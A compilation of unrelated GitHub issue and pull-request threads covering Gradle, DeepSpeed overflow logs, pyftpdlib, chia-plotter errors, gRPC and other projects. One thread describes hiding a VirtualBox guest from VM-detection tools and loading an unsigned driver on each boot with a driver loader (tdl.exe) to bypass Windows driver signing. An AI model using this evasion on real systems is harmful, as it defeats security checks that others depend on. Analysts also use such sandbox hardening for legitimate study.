See https://github.com/mathjeff/gradle-samples-2/tree/3f3131bdf002518b5e86e63659373728ee3dcfd4/cannot-afterEvaluate
Gradle version
8.4
Build scan URL (optional)
No response
Your Environment (optional)
No response
Thanks!

Thank you for providing a valid report.
The issue is in the backlog of the relevant team, but this area of Gradle is currently not a focus one, so it might take a while before a fix is made.


Dynamic padding in ML and MR modes

This might be clunky…
When enabling Bidi-Mode, get window width and textwidth (see which is longer).
Use that width to inform fribidi of the padding length for the current line depending on base direction.
Insert contents into buffer, but I think it should also insert some symbol to designate a line break,
so that on a change in textwidth (using SetOption event) or window size (using WindowResized event) lets some function re-wrap the lines accordingly.
↳ or ↪ might be good options to use on the left side of the buffer to indicate a line should wrap with the above.
For example (the m's are just to force the base direction as LTR)
|mבראשית ברא אלהים את|
|↪    mהשמים ואת הארץ|
^ window edges       ^

This function doesn't have to be super efficient since it only is triggered when the display changes, not when the user is actively editing the file.
I can also add an option to change what the linebreak indicator is.
Things get especially tricky when the user is typing though.
I will have to add an autocmd that listens for InsertCharPre on the current line and updates the whitespace accordingly.
When it comes to wrapping text, I'll have to watch the line-length without padding and jump the user to a new line with padding when the chars reach col 0 (and bring the current word if needbe).
If the user backspaces when in the textwidth/window-width column on a wrapped line,
delete the line and move the cursor back up.

Unfortunately, this is too clunky and slow to implement at the moment.
I may retry dynamic padding (and hence the ML and MR modes)
if I ever begin to use native C with fribidi.


Close EventSource before unloading the page

Should eliminate a error in the Firefox console regarding the connection being interrupted while the page was loading.

make lg-tm work

please send backport


Bmi160 accel works, better tps (Bmi160)

line ending changes to 2 md files so they stop auto updating themself. Bmi acceleration now is correct and gives out 9.8m/s (ish). Added more yield_now().await; because they improved the tps, this should be done different but works for now.

Thanks for this contribution! And sorry for slow review times.


Migrate from npm to pnpm

This PR includes the changes in #14 to avoid a merge conflict. If this PR is merged, #14 can be closed.
The change is motivated by the workarounds needed to successfully apply patches in certain cases using patch-package. However, it requires sudo corepack enable to be successfully run on the production server. If that turns out not to be possible, we should close this PR and merge #14 instead.
The advantage of using pnpm's patch command is that it is integrated with the package manager: changes to the patches are reflected in the lockfile so the whole process is much more robust and we shouldn't have to regenerate node_modules manually in some cases. Also, via Corepack, this ensures the same package manager version is being used in all environments.

Side note: used this script for some of the patch migration


Problem with driver loading

Hi , and thank you for you great work !
A few days ago , I try to setup your patch and have some problem with it .
Host : Windows 10 x 64
Guest : windows 10 x64 too ( as you recomend from MSDN )
After patching and upload driver for first time every thing work perfect
Scenario was like you recomend : Vbox uninstall > reboot > install new version  > create VM > set up VM in Vbox and by script > install driver by CMD > and then set up loader by CMD > Windows installation
I did every thing as you said , and baypass test VMDE and  Al khaser ( no virtualbox detected )
after I reboot host I try to start VM again and get this problem
Configuration error: Invalid config key for ACPI device
(VERR_PDM_DEVINS_UNKNOWN_CFG_VALUES)  : http://prntscr.com/f7as74
As I said every thing work perfectly but after restart this problem happened
What do you think where is my mistake ?
Is this problem because of Patchguard ? or I have a corrupted Windows host ? or what ?
4 days of attempts and same result !!
Any recomendation ? and Thanks a lot .

Driver must be installed each time per Windows boot. It loads in memory and unloads by Windows during shutdown. This is how TDL work.

I understand ,
Do you mean only driver everytime or all procces I need to repaet ?
( I mean just tdl then loader ? or hidevm-ahci then tdl then loader ? )
I ask because if I randomize the info in hidevm_ahci , everytime I'll have new info !

Yes, repeat tdl.exe tsugumi.sys, loader.exe

Ok , thank you very much for helping and for project
Thanks a lot )


Storage docs: fix typos.

Futzed in #5923.

Trivial fixes, CircleCI is happy, merging without review.


chore: update image refs for all Dockerfiles

This commit updates the go-toolset base image SHA to the latest for UBI9. It also replaces go-toolset with ubi-minimal for the deploy images in logserver and logsigner.
/cherry-pick midstream-v1.5.2
/cc @tommyd450

/cherry-pick midstream-v1.5.2

/lgtm


Not actively maintained

This repository is currently not actively maintained.
cc @obastemur Correct me if I'm wrong :)

Sorry, just noticed this. I don't know any active consumer though.


should dynamic scaling and overflow check happen only at the beginning?

So fp16.initial_scale_power leads to dynamic scaling, except it probably should happen only until it found the right range and never check/go back to scaling again once the right scale has been found.
Observe this:
2021-04-06 21:22:36,418] [INFO] [stage3.py:2326:_overflow_clean_up] [deepscale] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 262144.0, reducing to 131072.0
  9% | 16/174 [01:20<13:49,
{'loss': 3.2588, 'learning_rate': 0, 'epoch': 0.09}
  9%| | 16/174 [01:20<13:49,  5.25s/it]

  [2021-04-06 21:22:40,973] [INFO] [stage3.py:2326:_overflow_clean_up] [deepscale] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 131072.0, reducing to 65536.0
 10%| | 17/174 [01:25<13:11,
{'loss': 2.5342, 'learning_rate': 0, 'epoch': 0.1}
{'loss': 3.0586, 'learning_rate': 0.0, 'epoch': 0.1}
{'loss': 2.8711, 'learning_rate': 1.354634980487915e-06, 'epoch': 0.11}
{'loss': 2.875, 'learning_rate': 2.1470456462384806e-06, 'epoch': 0.11}
{'loss': 3.1064, 'learning_rate': 2.70926996097583e-06, 'epoch': 0.12}

# XXX: it resumed trying to scale here 2nd time:
 12%| | 21/174 [01:48<14:18,  5.61s/it]
 [2021-04-06 21:23:09,319] [INFO] [stage3.py:2326:_overflow_clean_up] [deepscale] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 65536.0, reducing to 32768.0
{'loss': nan, 'learning_rate': 2.70926996097583e-06, 'epoch': 0.13}
 13%| | 22/174 [01:53<13:28,  5.32s/it]
 [2021-04-06 21:23:13,653] [INFO] [stage3.py:2326:_overflow_clean_up] [deepscale] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 32768.0, reducing to 16384.0
{'loss': nan, 'learning_rate': 2.70926996097583e-06, 'epoch': 0.13}
 13%|

So the optimizer kicked in on step 17 as there was no more overflow, and then a few steps later the model overflowed because of a totally different reason (blfoat16-pretrained), but the overlow_clean_up kicks back on and tries to scale futher which is pointless since the model is done with - it never recovers.
I mean this doesn't make things worse, it's just confusing to the user that deepspeed is trying to recover from something it can't recover - and it's not deepspeed's fault either.
So my thinking that perhaps once a good scaling factor is reached the check can be stopped?
I hope I was able to convey the issue clearly.

Samyam and I had a brief discussion about it, Samyam suggested that actually this check should continue through the whole training, but it should be smart about detecting the point of no return. That is if the initial overflow has been overcome and the optimizer started stepping, then if the overlow is detected again, and it continues for several steps, then stop trying to scale down and logging message and instead just explain that the model is probably "kaput" and not do anything - then the user can clearly see that loss is nan and deepspeed won't be able to do anything about it.

@stas00
Below is the OVERFLOW meesage I got. After first 6 steps is executed, we could see [INFO] [logging.py:96:log_dist] [Rank 0] step=10, skipped=6. I
Does this means it is harmless if OVERFLOW message is gone after first few steps is executed?
If so, I got antoher two OVERFLOW message in step=500. After that, the log is became [2023-04-28 06:59:46,878] [INFO] [logging.py:96:log_dist] [Rank 0] step=510, skipped=8, where the number of skipped is 8 (=6+2). This might be also harmless, right?
One more question: Do you have any idea that  the log I got doesn't show the loss?
Beginning of Epoch 1/16, Total Micro Batches 1840
[2023-04-28 06:51:29,903] [INFO] [loss_scaler.py:188:update_scale] [deepspeed] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 65536, but hysteresis is 2. Reducing hysteresis to 1
[2023-04-28 06:51:30,648] [INFO] [loss_scaler.py:181:update_scale] [deepspeed] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 65536, reducing to 32768
[2023-04-28 06:51:31,392] [INFO] [loss_scaler.py:181:update_scale] [deepspeed] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 32768, reducing to 16384
[2023-04-28 06:51:32,150] [INFO] [loss_scaler.py:181:update_scale] [deepspeed] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 16384, reducing to 8192
[2023-04-28 06:51:32,906] [INFO] [loss_scaler.py:181:update_scale] [deepspeed] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 8192, reducing to 4096
[2023-04-28 06:51:35,672] [INFO] [loss_scaler.py:181:update_scale] [deepspeed] OVERFLOW! Rank 0 Skipping step. Attempted loss scale: 4096, reducing to 2048
[2023-04-28 06:51:37,541] [INFO] [logging.py:96:log_dist] [Rank 0] step=10, skipped=6, lr=[9.649999560446815e-06, 9.649999560446815e-06], mom=[(0.9, 0.95), (0.9, 0.95)]
[2023-04-28 06:51:37,676] [INFO] [timer.py:199:stop] epoch=0/micro_step=10/global_step=10, RunningAvgSamplesPerSec=36.46479187589155, CurrSamplesPerSec=32.71924863905173, MemAllocated=7.15GB, MaxMemAllocated=26.14GB

When you hit an OVERFLOW under fp16 the optimizer skips this step, so yes it's harmless. Usually you get a few of those at the start while the program tries to find the best scaling factor which prevents gradients from being too small.
It then continues checking for overflows through the rest of the training and if it runs into one again it again adjusts it. This is part of the algorithm, i.e. harmless by your definition.

Do you have any idea that the log I got doesn't show the loss?

I imagine because the loss variable is on the user side, that is you need to print it yourself.

Thanks for the explanation. I just realized it is related to "automatic loss scaling with mixed precision".
Regarding the loss question, you are right.


[Q] How to debug "process" method?

I don't know if this is the right place to ask so sorry in advance. I've been trying to work out your examples and one thing i've noticed is : when trying to debug in PyCharm, binning code never goes into 'process' method, prints and such i add doesn't work but the code works and i can see the messages being produced.
So my question is, how do i debug the process method?

Alright, i finally got that the generator needs to run for the 'process' method to work. You may close this issue. Sorry for any inconvience.


Too many createWonMessage methods

Describe the issue
Most actions in won-bot have a private or protected createWonMessage method. Additionally, there is a deprecated createWonMessage method in BotActionUtils. Instead of around 30 separate private methods, there should be a single utility method available to all bot actions.
This is currently not a bug, but may lead to unexpected behaviour if one or more methods are not updated in the future. Additionally, the code is harder to parse as many of these methods feature slightly different signatures.

removed the good first issue label, this is def. not for anybody who starts contributing to our repo... refactoring this will make people gouge their eyes out...


Serialization rewrite pt. 2 - This time we're onto something

After SEVERAL WEEKS OF TRIAL AND ERROR I think I'm finally on the right track in terms of figuring out a safe abstraction for the schema data types. Rather than wrapping up the entire pointer (e.g. struct SchemaObject(*mut Schema_Object);), we create a custom dummy type and use pointer casts to convert between the C types and the Rust types. Here's a tweaked version of getting a schema object from a Schema_ComponentData to demonstrate:
impl ComponentData {
    pub fn fields(&self) -> &Object {
        // `&self` is secretly a `*mut Schema_ComponentData`, so we
        // cast back to the original pointer in order to use it with
        // the C API.
        let component_data_ptr = self as *mut Schema_ComponentData;

        // Call the C API function with the `*mut Schema_ComponentData`
        // and get a `*mut Schema_Object` back.
        let schema_object = Schema_GetComponentDataFields(component_data_ptr);

        // Cast the raw `*mut Schema_Object` to a pointer to our
        // custom `Object` wrapper type, then dereference it to get
        // a `&Object`. Because Rust is ~magic~, the lifetimes will
        // correctly match up such that the reference to the object
        // can't outlive the `Schema_ComponentData` that owns it.
        &*(schema_object as *const Object)
    }
}

This means that we can expose an idiomatic API, using &T and &mut T to control mutability and ownership like we would with any other Rust types, while still being 100% safe.
This works because all of the schema types are opaque, zero-sized handle types, so we can define our own custom handle types (with custom methods and junk) and it's completely valid so long as we never try to pass any of these types by value. To enforce this, we construct the API such that:

We only ever give the user a reference to the type, such that the user can't move out of the reference to take the type by value.
The user cannot create their own instance of the type by value (because all fields are private), ensuring that users cannot use things like mem::replace to move out of a reference to the type.

The one case that's slightly unusual is when the user actually owns the object (and is therefore responsible for destroying the object when they're done), as is the case with Schema_CreateComponentData(). For these cases, I've added a custom type Owned that acts as a smart pointer to the data. This is functionally equivalent to Box, but works with the SpatialOS-specific functions for freeing the objects when dropped. As such, functions like ComponentData::new return an Owned<ComponentData>, rather than directly returning a ComponentData.
Please let me know what you think of this approach 😁 I'm especially curious if there are any soundness holes that you can see, or if this approach incorrectly models the C API's semantics in any way.

Also, I've temporarily removed everything related to component updates, commands, and events. This was so that I would only have to focus on Schema_ComponentData and Schema_Object when figuring out how to build a safe, idiomatic API around the C API. I'll start restoring the other data types shortly.

Update 2019-06-15: I've re-added support for component updates, see #103 for the original PR discussing the changes.

@randomPoison I have some free time in the next few days - is this ready for review?

Not ready for full review, no. I still need to re-add commands, then update the existing code generation for the new APIs. If you want to give it a look over and give me any thoughts on the approach I'm taking, though, I would greatly appreciate it!

OK, np. Let me know if I can assist at all. Will give it a look over.

Overall, I love how this looks! Nice job.

This refactoring has become a quagmire and I haven't had the time to work on it in a while. I'm going to close this ticket and try building out a plan to redo this rewrite piecemeal, such that it doesn't have to be  merged all at once. I'll leave the branch up for the time being, though, so that we can reference the first attempt as necessary.


KE-44477 fix vulnerability, upgrade avro and proto-buf

What changes were proposed in this pull request?

Why are the changes needed?

Does this PR introduce any user-facing change?

How was this patch tested?

LGTM


feat: hide rating selector for non-logged-in folks on Hotel Pages

Description:
Issue Overview:
Presently, when users visit any hotel page for booking, they have the option to submit a review. However, this feature is visible to both logged-in and non-logged-in users.
Proposed Improvement:
let's hide the UserRatingsSelector.jsx component for those who aren't logged in.
Implementation Steps:

We need to hide UserRatingsSelector.jsx component completely for non-logged in users.
We'll do this fancy move using the AuthContext and checking if the isAuthenticated prop is a go. We've got similar setups in the codebase for reference.

Screenshots

Hi @iZooGooD
I've added this feature, Kindly check and let me know what you think?
Screenshot


Remove grpc_udp_server dependency on grpc_server.

Change grpc_udp_server.grpc_server field to be a pointer to an opaque handback object.
Prompted by https://github.com/grpc/grpc/pull/9843#discussion_r104515025

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks for your pull request. The automated tests will run as soon as one of the admins verifies this change is ok for us to run on our infrastructure.

Thanks a lot for doing this!

Great--thanks for the review!

Jenkins: test this please

Failures:
Basic Tests Windows: https://github.com/grpc/grpc/issues/10107
gRPC_interop_pull_requests: https://github.com/grpc/grpc/issues/9878


"Include Pixiv Sketch [y/n]? n" not working

Description
While downloading from multiple artists (without using a list.txt file) I input "n" when asked "Include pixiv sketch [y/n]?" but it didn't seem to work, as a folder for an artist's pixiv sketch uploads were also downloaded.
Steps to Reproduce

Input member ID(s)
Input "n" when asked "Include pixiv sketch [y/n]?"

Expected behavior:
Artist's pixiv sketch uploads to not be downloaded.
Actual behavior:
Artist's pixiv sketch uploads were downloaded.
Versions
pixivutil20201006
Is there some way to set "Include pixiv sketch [y/n]?" to false via config or something so I don't have to enter "n" everytime I download an artist's works?

should be already fixed in #811

should be already fixed in #811

I'm sorry but what do I do? Do I download the beta version?

I'll publish another beta this weekend.

should be in the latest beta releases


feat(module/vpn): VPN module for GCP VM-Series deployments

Description
Introducing VPN module for GCP VM-Series deployments. The module is a wrapper around Google's terraform-google-modules/vpn/google//modules/vpn_ha that provides sample VPN configuration suitable for VM-Series deployments.
PR closes Issue 215.
Motivation and Context
VPN module is required for building GCP to on-prem connectivity, for GCP to GCP connectivity.
How Has This Been Tested?
Terraform plan/apply using example VPN configuration.
Screenshots (if appropriate)

Types of changes

New feature (non-breaking change which adds functionality)

Checklist

[x] I have updated the documentation accordingly.
[x] I have read the CONTRIBUTING document.
[ ] I have added tests to cover my changes if appropriate.
[x] All new and existing tests passed.

I think the folder structure should be aligned with our current structure :

Move example to examples folder
I can see there is an inherited module - maybe it would be a good idea to flatten that module altogether and have them all in a single main.tf file.

@horiagunica

Move example to examples folder

The reason why I didn't place the example into main examples folder is that the module itself is NOT a VM-Series example. I still believe that VPN module example doesn't belong to main examples folder.

I can see there is an inherited module - maybe it would be a good idea to flatten that module altogether and have them all in a single main.tf file.

The reason why I placed vpn_instance in vpn module is that because
-vpn_instance is called from vpn and
-vpn_instance is not supposed to be used (will not be used) without vpn.
I still believe we should place vpn_instance inside vpn not to expose the modules that are not supposed to be used as external.

I decided to flatten the module (remove submodule) and put example code in the module's README


Working with my own customized env

Hi, I'm trying to use this library to solve some modified multi-UAV problems, but I'm not professional in coding 🤣
Will there be any instructions about how to use pure modified environments in the future? I've read the add_new_env.py but still not clear with it😥
开发者您好，我试图用这个库去解决一些多无人机的MARL问题，但因为我并非本专业，add_new_env.py文件对我自定义环境起到的帮助极其有限，请问未来是否有更详细或进一步的说明性文档？谢谢！

You can use an example from marllib/envs/base_env to check how a custom environment is wrapped for RLlib. I write my own environment according to such example.
https://github.com/Replicable-MARL/MARLlib/blob/368c6173577d0f9c0ad70fb5b4b6afa12c864c15/marllib/envs/base_env/mpe.py#L94-L153

I'm having the same problem, and I think the key to customizing your environment is in this statement:
self.env = ParallelPettingZooEnv(env)
But I don't really know how to access my own simulation environment

Thank you to @Aequatio-Space for offering guidance. MARLlib utilizes a standard agent-environment interface based on RLlib. A practical approach to integrating your own environment is to begin by identifying a similar environment (e.g., with the same data structure or interaction style) and then follow the integration approach used for that environment.

I'm having the same problem, and I think the key to customizing your environment is in this statement: self.env = ParallelPettingZooEnv(env) But I don't really know how to access my own simulation environment

same question，waiting...


Interaction binding fixes

Codecov Report

Merging #951 (74b7f1d) into master (56f3e2e) will increase coverage by 0.00%.
The diff coverage is 65.21%.

@@           Coverage Diff           @@
##           master     #951   +/-   ##
=======================================
  Coverage   81.98%   81.99%
=======================================
  Files         110      110
  Lines        3713     3715    +2
  Branches      127      120    -7
=======================================
+ Hits         3044     3046    +2
  Misses        669      669

Impacted Files
Coverage Δ

...m/ing/baker/runtime/model/InteractionManager.scala
69.38% <60.00%> (+2.04%)
:arrow_up:

...la/com/ing/bakery/baker/InteractionDiscovery.scala
85.41% <100.00%> (-1.82%)
:arrow_down:

...n/scala/com/ing/baker/runtime/akka/AkkaBaker.scala
74.62% <100.00%> (ø)

.../runtime/inmemory/InMemoryInteractionManager.scala
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 56f3e2e...74b7f1d. Read the comment docs.


Better Error Logging for Dynatrace API 4xx errors when queries metrics api v2

Right now when the Dynatrace Metrics APIv2 returns e.g.: "HTTP 403 - Insufficient priviliges for the API Token" there is no log output in the dynatrace sli service that would indicate this issue. The only logoutput we see is a "Dynatrace Metrics API returned an error: No valid response from metrics api for query"
When calling the API - especially the MetricsV2 API - we should better handle and parse NON HTTP 200 responses
Here is an example response for the MetricsV2 API:
{
  "error": {
    "code": 403,
    "message": "Token is missing required scope. Use one of: metrics.read (Read metrics)"
  }
}

The problem is easily fixed in the following locations by fixing the if to only error out if there is a "" response:
https://github.com/keptn-contrib/dynatrace-sli-service/blob/release-0.7.2/pkg/lib/dynatrace/dynatrace.go#L611
https://github.com/keptn-contrib/dynatrace-sli-service/blob/release-0.7.2/pkg/lib/dynatrace/dynatrace.go#L657
https://github.com/keptn-contrib/dynatrace-sli-service/blob/release-0.7.2/pkg/lib/dynatrace/dynatrace.go#L697
https://github.com/keptn-contrib/dynatrace-sli-service/blob/release-0.7.2/pkg/lib/dynatrace/dynatrace.go#L732
https://github.com/keptn-contrib/dynatrace-sli-service/blob/release-0.7.2/pkg/lib/dynatrace/dynatrace.go#L765
https://github.com/keptn-contrib/dynatrace-sli-service/blob/release-0.7.2/pkg/lib/dynatrace/dynatrace.go#L809
https://github.com/keptn-contrib/dynatrace-sli-service/blob/release-0.7.2/pkg/lib/dynatrace/dynatrace.go#L838
Also great opportunity for some code refactoring as all this is duplicated code that can be done by a helper function

Implemented with https://github.com/keptn-contrib/dynatrace-sli-service/releases/tag/0.7.3


Isolate changes for Ruby 3.1 w/out Rails 7

This is not a cherry-pick, but it should give you the code changes required for the 5.1 maintenance branch to support Ruby 3.1 / Rails 6.1.
It's going to be really difficult to pull apart the parameter parsing in have_enqueued_mail.rb and I would recommend we not even try.  Just put it all in the 5-1-maintenance branch.

It's going to be really difficult to pull apart the parameter parsing in have_enqueued_mail.rb and I would recommend we not even try. Just put it all in the 5-1-maintenance branch.

That's already done, I rewound main and repicked the relevant non rails 7 commits.

@JonRowe Not as far as I can tell.
The Ruby 3.1 / Rails 6.1 fixes were built on top of the have_enqueued_matcher.rb fixes put in to get Rails 7 working - https://github.com/rspec/rspec-rails/pull/2546
5-1-maintenance is broken with Ruby 3.1 / Rails 6.1.  Splitting out the fixes for addressing that from those for Rails 7 will be messy, time consuming, and largely unnecessary.

I will close in favour of #2562 then, I will work out the fixes for the existing supported releases on 3.1 and leave you two to work on Rails 7 in main.


Clarify whitelisted domains subtlety in networking requirements

The documentation currently states that only three domains must be whitelisted, but by default NTP & DNS default to domains outside that whitelist (*.resinio.pool.ntp.org & <IP_ADDRESS>). I think the intent is for these domains to fall under this category: "outward only (and inward once outward connection established)", though that is not entirely clear from context.

[xginn8] This issue has attached support thread https://jel.ly.fish/#/support-thread~581975e9-99bf-4b56-88ae-d3f7734a5ac8

[pdcastro] This issue has attached support thread https://jel.ly.fish/#/support-thread~fe9f29fc-9fda-4589-856a-eee45e505074

[pdcastro] This issue has attached support thread https://jel.ly.fish/#/support-thread~fe9f29fc-9fda-4589-856a-eee45e505074

It seems that *.s3.amazonaws.com also needs to be whitelisted, as found in the support thread linked above.

[mikesimos] This issue has attached support thread https://jel.ly.fish/#/support-thread~e3bc45c6-8773-4ae0-a075-e3ba5cbab138


pyftpdlib will only use first CPU core.

From<EMAIL_ADDRESS>on December 16, 2010 23:16:31
What steps will reproduce the problem?
1. Run a pyftpdlib derived server.
2. Generate some load.
3. Observed that CPU0 is busy while additional cores are idle.

What is the expected output?

What do you see instead?
Actually, with an asynchronous/single threaded server, this is expected.
However it may be undesirable.

Please use labels and text to provide additional information.
A better situation for a multi-core server would be to prefork additional
workers so that these processes can be scheduled by the OS onto CPU cores other than CPU0.

This is a common approach, Nginx is a well-known asynchronous HTTP server, it
has the ability to fork multiple worker processes for this very reason.

See: "worker_processes" at the link below. http://wiki.nginx.org/CoreModule The
top reason for using more than one worker process is to take advantage of SMP.

Original issue: http://code.google.com/p/pyftpdlib/issues/detail?id=148

Implemented as per https://github.com/giampaolo/pyftpdlib/pull/467.
CC @btimby: I seem to remember you already do this in prod, but if not what you want to do is FTPServer.serve_forever(worker_processes=0).


std::runtime_error,thread failed with: fwrite() failed

terminate called after throwing an instance of 'std::runtime_error'
what():  thread failed with: thread failed with: thread failed with: thread failed with: fwrite() failed

I just ran into this too, seems they are already some issues opened for the same error:
https://github.com/madMAx43v3r/chia-plotter/issues/333
https://github.com/madMAx43v3r/chia-plotter/issues/453

Maybe you didn't clear your temp drives from temp files and started a new job, so it ran out of space.

Out of space or failing drive would cause this error.

It must be something else, At first i tryed it with a ramdisk 110g, then this error occured. then I tryed to Plot only with nvme, and the error Occured again. Then I changed the os several Times (i tryed Cent, Ubuntu, Debian, Win Server 2008). At least I tryied with Windows Server 2012, there It suddenly Worked (even with ramdisk). I think its some failed garbage Collection Problem, but I don't really know...

Had same issue, a previous job got terminated in between phase 1 after 3 tables. The 110GB ramdisk was full, so kept getting this error, work perfectly fine now after clearing it.

I have a script that clears out my ramdisks before each madmax plot and that seems to be helping.


Maxpool ceilmode

TL;DR: This PR is a draft to open the discussion about a possibility to break the API for the Maxpool operator to add a "ceil mode".
Longer:
From version 1.5, onnx supports a "ceil mode" attribute that has an impact on the calculus of the output shape on the Maxpool operator. (see issue #549 and #1113 in the onnx project for more info).
By now, I did not find any model that is using this mode, nevertheless, I've implemented it to do different tests (one again I am only using this branch for testing purpose.)
The problem is that it breaks the API by adding a new attribute to the MaxPool2D function; another option would be to keep this function as-is and silently set the ceilMode to false and to create a new transition function MaxPool2DCeil but it do not really like this idea.
WDYT?

One more thing: this branch also includes in shadow the premises of implementation of dilation

I like it. Perhaps we should think of using ...interface{} for MaxPool2D for now. This allows for a future transition to using functional options like
type NNOpt func(Op) error

which would fit into the building of golgi nicely in the future

any progress updates?


Fix OBS hyperlink and tests (#127)

I created a test action as instructed by GitHub.  It failed, so I fixed the code in test.
I fixed the link to OBS in README.

Changes in tests are needed because of the workflow.  However, I think they make the code better anyway.  Should I undo them if I remove the workflow?
I added the test workflow because your integration was not cloned, leaving me without any test.  I think tests help to make better code so I let GitHub add one.
I am not sure how to add a commit message to every change.  I shall try to figure that out but I would appreciate a hint.

Detailed explanations as requested.

Not really. Please add the description to every commit msg (not github comments). And explanataions like "This was automatically generated by GitHub" is nothing I would like to merge. There must be a (good) reason why you want to add a change.

I am going to split this change and abandon it.


Rename participants subcommands add to create and change to update

Description
The participants subcommand is the only one using add instead of create and change instead of update.  I propose to rename them to use the same names as other commands.

No need to rename add, we are going to rename all other to add https://github.com/seqeralabs/tower-cli/issues/107